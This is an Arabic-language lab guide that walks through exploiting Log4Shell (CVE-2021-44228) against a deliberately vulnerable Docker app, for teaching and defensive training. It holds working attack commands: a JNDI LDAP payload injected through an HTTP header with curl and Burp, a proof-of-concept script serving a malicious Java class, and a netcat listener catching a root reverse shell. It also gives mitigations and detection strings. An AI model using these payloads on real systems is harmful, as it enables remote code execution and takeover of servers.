
Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only.
تُعدّ Log4Shell (CVE-2021-44228) واحدة من أكثر ثغرات تنفيذ التعليمات البرمجية عن بُعد (RCE) تأثيرًا على الإطلاق. وهي تؤثّر على Apache Log4j 2، وهو إطار عمل تسجيل (logging) شائع الاستخدام في Java، وتتيح للمهاجمين تنفيذ تعليمات برمجية عشوائية عبر استغلال استعلامات JNDI في رسائل السجلات.
يوفر هذا الدليل مختبر عرض توضيحي كاملًا وقابلًا لإعادة الإنتاج باستخدام:
log4j-shell-pocوهو مصمَّم للتدريس والبحث والتدريب والتوعية الدفاعية في بيئات خاضعة للتحكم فقط. يتبع الهيكل والأسلوب نفس روح ملف README الخاص بمختبر «Shellshock» المصاحب.
poc.py لاستخدام JDK 1.8.0_202curlيجب تنفيذ هذا المختبر فقط في بيئة خاضعة للتحكم حيث لديك إذن صريح (مختبرك الخاص، أو أجهزة افتراضية للفصل الدراسي، وما إلى ذلك).
تُعدّ Log4Shell (CVE-2021-44228) ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في Apache Log4j 2.
تنشأ المشكلة لأن إصدارات Log4j2 الضعيفة تفسّر سلاسل نصية يتحكم فيها المهاجم مثل:
${jndi:ldap://ATTACKER_IP:1389/a}
عندما يتم تسجيل هذه السلسلة النصية، يقوم Log4j بـ:
في هذا المختبر، ستقوم بـ:
log4j-shell-poc.curl وعبر Burp Suite.بحلول نهاية هذا المختبر، يجب أن تكون قادرًا على:
تعمل جميع المكونات فوق بيئة مختبرك الافتراضية الحالية. نفترض في هذا الشرح ما يلي:
الفكرة الأساسية
يقوم المهاجم بحقن:
${jndi:ldap://192.168.1.4:1389/a}
في ترويسة HTTP. يسجّل التطبيق الضعيف ذلك باستخدام Log4j2 ← ينفّذ استعلام JNDI عبر LDAP إلى 192.168.1.4:1389 ← ينزّل فئة خبيثة من http://192.168.1.4:8000 ← ينفّذ الفئة، التي تفتح صدفة عكسية إلى 192.168.1.4:9001.
على Kali ستحتاج إلى:
nc).في جميع أنحاء هذا الدليل، نفترض أن عنوان IP الخاص بـ Kali هو:
192.168.1.4
إذا كان عنوان IP لديك مختلفًا، عدّل جميع الأوامر وفقًا لذلك.
تعتمد أداة إثبات المفهوم على Java SE 8 Update 202 (JDK 1.8.0_202) لأن إصدارات Java الأحدث تقيّد سلوك التحميل البعيد للفئات الذي يستخدمه هذا الاستغلال.
حتى إذا كان Kali يحتوي بالفعل على OpenJDK 21 (أو ما شابه)، فلا يزال يتعين عليك تثبيت 8u202 بشكل منفصل.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
جذر المرآة:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
نزّل الحزمة المضغوطة Linux x64 (بحجم ≈185 ميغابايت):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # should be ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
يزيل خيار --strip-components=1 الدليل العلوي من الأرشيف بحيث تستقر الملفات مباشرةً تحت /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
المخرجات المتوقعة:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
إذا رأيت هذا، فـقد تم تثبيت JDK 1.8.0_202 بشكل صحيح.
في نافذة طرفية جديدة على Kali (يمكنك البقاء في ~/Log4Shell):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
يجب أن ترى سجلات مشابهة لما يلي:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ من Kali.فحص سريع للتأكد:
curl http://127.0.0.1:8080/
قد ترى صفحة خطأ Whitelabel (HTTP 400). لا بأس في ذلك — كل ما نحتاجه هو أن يكون التطبيق قيد التشغيل ويسجّل الطلبات.
log4j-shell-pocفي نافذة طرفية جديدة:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
تأكد من الملفات:
ls
# poc.py, target/, README, etc. Exploit.java will be generated later.
poc.py لاستخدام JDK 1.8.0_202افتراضيًا، يتوقع poc.py العثور على JDK محلي في دليل باسم jdk1.8.0_20 داخل المستودع. بدلًا من ذلك، قمت بتثبيت JDK 8u202 في /usr/bin/jdk1.8.0_202، لذا يجب عليك تحديث السكربت.
poc.py في محرر نصوصnano poc.py
ابحث عن jdk1.8.0_20 (في nano: Ctrl+W، اكتب jdk1.8.0_20، ثم اضغط Enter).
يجب أن تجد ثلاثة مواضع مثل:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
استبدلها بما يلي:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
احفظ ثم اخرج:
Ctrl + O → EnterCtrl + Xأصبحت أداة إثبات المفهوم تستخدم الآن JDK 1.8.0_202 من /usr/bin.
من ~/Log4Shell/log4j-shell-poc:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
الوسائط:
--userip — عنوان IP الخاص بـ Kali (المهاجم): مثل 192.168.1.4.--webport — منفذ خادم HTTP المدمج: 8000.--lport — المنفذ الذي تتصل به الحمولة عائدةً إليه: 9001.إذا تم إعداد كل شيء بشكل صحيح، يجب أن ترى شيئًا مثل:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
مهم:
خادم LDAP يستمع على المنفذ 1389.
خادم HTTP يستمع على المنفذ 8000.
يتم طباعة الحمولة الدقيقة المطلوب حقنها:
${jndi:ldap://192.168.1.4:1389/a}
اترك هذه النافذة الطرفية تعمل.
افتح نافذة طرفية جديدة أخرى على Kali:
nc -nvlp 9001
يجب أن ترى:
listening on [any] 9001 ...
سيستقبل هذا المستمع الصدفة العكسية القادمة من التطبيق الضعيف.
في هذه المرحلة يجب أن يكون لديك:
poc.py يشغّل LDAP (1389) وHTTP (8000).curlأولًا، أثبت أن الاستغلال يعمل باستخدام طلب HTTP خام.
في نافذة طرفية جديدة (أو أعد استخدام واحدة إذا كانت متاحة):
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
ما الذي يحدث:
X-Api-Version.${jndi:ldap://192.168.1.4:1389/a} وينفّذ استعلام JNDI عبر LDAP.poc.py) بمرجع إلى فئة Java خبيثة مستضافة على خادم HTTP الخاص بك.192.168.1.4:9001 وتُطلق صدفة.في حال نجاح ذلك، ستُظهر نافذة Netcat الطرفية:
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
أصبح لديك الآن صدفة بصلاحيات الجذر داخل حاوية Docker.
جرّب:
id
hostname
ls /
اخرج باستخدام:
exit
سيعود Netcat إلى وضع الاستماع.
الآن وضّح مسار الاستغلال نفسه باستخدام متصفح تتوسطه Burp Suite.
127.0.0.1:8080.127.0.0.1، المنفذ: 8080.127.0.0.1.في Burp: Proxy → Intercept، تأكد من أن الاعتراض (Intercept) مفعّل.
في Firefox، تصفّح إلى:
http://127.0.0.1:8080/
سيعرض Burp الطلب المعترض، مثل:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
في Repeater، عدّل الطلب ليشمل ترويسة X-Api-Version:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
ملاحظات:
192.168.1.4 بعنوان IP الفعلي الخاص بـ Kali إذا كان مختلفًا.${} — يجب أن تظهر تمامًا كما هو موضح.Connection: close يبسّط الأمور (اختياري).poc.py ومستمع Netcat ما زالا يعملان.قد ترى مرة أخرى صفحة خطأ Whitelabel برمز 400 — لا بأس في ذلك.
افحص نافذة Netcat الطرفية:
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
لقد حصلت مرة أخرى على صدفة بصلاحيات الجذر على الحاوية، وهذه المرة باستخدام طلب HTTP معدّل عبر Burp، وهو ما يحاكي سير عمل واقعيًا لاستغلال الويب.
يصوغ المهاجم حمولة JNDI:
${jndi:ldap://192.168.1.4:1389/a}
يسجّل التطبيق الضعيف هذه السلسلة النصية باستخدام Log4j2.
يفسّر Log4j2 السلسلة ${jndi:...} وينفّذ استعلام JNDI.
يستخدم الاستعلام LDAP للاتصال بخادم LDAP الخاص بالمهاجم على 192.168.1.4:1389.
يستجيب خادم LDAP (marshalsec) بمرجع javaNamingReference يشير إلى فئة يتحكم فيها المهاجم مستضافة عبر HTTP، مثل:
http://192.168.1.4:8000/Exploit.class
يقوم JVM الخاص بالضحية بتنزيل هذه الفئة وتحميلها.
يفتح مُنشئ (constructor) الفئة مقبسًا (socket) عائدًا إلى 192.168.1.4:9001 ويربط /bin/sh به.
يستقبل مستمع Netcat الخاص بالمهاجم الاتصال الوارد ويحصل على صدفة جذر عن بُعد داخل الحاوية.
في البيئات الحقيقية، يجب تطبيق طبقات دفاعية متعددة.
بالنسبة للبيئات التي لا تزال ضعيفة، أضف:
-Dlog4j2.formatMsgNoLookups=true
(حيثما ينطبق ذلك — لاحظ أنه لا يتم إصلاح جميع الإعدادات الضعيفة بهذا الخيار وحده.)
JndiLookup من ملفات log4j-core JARباعتباره إجراءً دفاعيًا متعمقًا:
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: أو ${${lower:j}${upper:ndi}:.نظرة عامة مختصرة على الأوامر المستخدمة في هذا المختبر.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py (ملخّص)استبدل:
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # two uses
بما يلي:
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curlcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appمختبر تعليمي لـ Log4Shell (CVE-2021-44228) — صُنع بعناية للطلاب والمدافعين والقراصنة الأخلاقيين حول العالم.
صُنع بحب بواسطة:
هيثم من عُمان ❤️🇴🇲
| المكوّن | الدور / الوصف | الأدوات / الخدمات | عنونة مثال |
|---|
| جهاز Kali Linux الافتراضي (المهاجم + المضيف) | يشغّل استغلال إثبات المفهوم، وخادم LDAP، وخادم HTTP، ومستمع Netcat، وBurp Suite | Python 3، JDK 1.8.0_202، Netcat، Burp Suite، Docker، curl، Git | 192.168.1.4 (مثال على عنوان Kali) |
| تطبيق ويب Log4j2 الضعيف | الهدف؛ تطبيق ويب Spring Boot ضعيف أمام Log4Shell | صورة Docker: ghcr.io/christophetd/log4shell-vulnerable-app | مكشوف على http://127.0.0.1:8080 |
| الوصف | الصورة |
|---|
| إعداد بيئة / تثبيت JDK | ![]() |
| سكربت إثبات المفهوم قيد التشغيل (حمولة التشغيل) | ![]() |
| تطبيق ويب Tomcat الضعيف قيد التشغيل | ![]() |
| تحديث سكربت استغلال إثبات المفهوم | ![]() |